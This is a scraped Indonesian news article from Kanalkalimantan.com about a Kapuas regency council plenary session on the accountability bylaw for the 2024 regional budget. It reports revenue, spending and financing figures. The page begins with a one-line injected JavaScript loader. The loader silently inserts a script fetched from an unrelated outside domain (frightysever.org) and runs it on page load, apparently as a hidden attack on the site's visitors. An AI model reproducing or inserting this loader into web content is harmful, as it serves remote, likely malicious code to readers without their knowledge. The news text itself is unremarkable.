(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke-9 masa persidangan ii tahun sidang 2025, di ruang rapat paripurna gedung DPRD Kapuas, Selasa (10/6/2025).
Rapat paripurna dalam rangka penyampaian Rancangan Peraturan Daerah (Raperda) tentang pertanggungjawaban pelaksanaan APBD Kabupaten Kapuas tahun anggaran 2024.
Rapat dipimpin oleh Wakil Ketua I DPRD Kapuas Yohanes didampingi Wakil Ketua II Berinto, dan segenap anggota dewan DPRD Kapuas. Hadir pula Wakil Bupati Kapuas Dodo, unsur Forkopimda, Asisten Setda Kapuas, serta para Kepala OPD lingkup Pemkab Kapuas.
Wakil Bupati (Wabup) Kapuas Dodo mewakili Bupati Kapuas mengatakan bahwa untuk laporan keuangan pemerintah daerah tahun anggaran 2024 sebelum dilaporkan kepada masyarakat melalui DPRD, telah diperiksa oleh BPK-RI Perwakilan Provinsi Kalteng, dan LKPD Kabupaten Kapuas Tahun 2024 meraih opini Wajar Tanpa Pengecualian (WTP) dari BPK RI.
Baca juga: 7 Fraksi Setuju Lanjut Pembahasan Raperda Pertanggungjawaban APBD 2024
Wakil Bupati Kapuas Dodo mewakili Bupati Kapuas menyampaikan Raperda tentang pertanggungjawaban pelaksanaan APBD Kabupaten Kapuas tahun anggaran 2024, Selasa (10/6/2025). Foto: ags
“Penyampaian Raperda ini bertujuan untuk memberikan gambaran mengenai pelaksanaan APBD setiap tahun anggaran dan sekaligus sebagai bahan kajian untuk meningkatkan efisiensi, efektivitas, dan akuntabilitas penyelenggaraan pemerintah,” ujarnya.
Wabup Kapias Dodo untuk realisasi anggaran pendapatan daerah Pemkab Kapuas sampai akhir tahun anggaran 2024 sebesar Rp3,2 triliun lebih atau 131,95 % dari target Rp2,4 triliun.
Untuk realisasi belanja daerah pemerintah kabupaten kapuas dalam pelaksanaan APBD tahun anggaran 2024 sebesar Rp2,7 triliun dari anggaran yang ditetapkan sebesar Rp3,2 triliun.
Kemudian, untuk realisasi pembiayaan daerah tahun anggaran 2024 yang mencakup penerimaan pembiayaan sebesar Rp840,6 miliar atau 101,08 % dari anggaran yang ditetapkan sebesar Rp831,73 miliar.
Sedangkan realisasi pengeluaran pembiayaan sebesar Rp59,96 miliar atau Rp 98,99 % dari anggaran yang ditetapkan sebesar Rp 60,6 miliar, Sehingga sisa lebih pembiayaan anggaran tahun berjalan sebesar Rp 1,2 triliun.
Dari uraian tersebut, Wabup Dodo berharap mendapat tanggapan yang positif dari seluruh anggota dewan yang terhormat dan pada saatnya nanti secara bersama-sama antara pemerintah daerah dan DPRD Kabupaten Kapuas dapat bekerja sama membahas Raperda tentang pertanggungjawaban pelaksanaan APBD 2024 sesuai tahapan-tahapan pembahasan dan mekanisme yang telah ditetapkan dalam tata tertib dewan. (Kanalkalimantan.com/ags)
Reporter: ags
Editor: kk
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.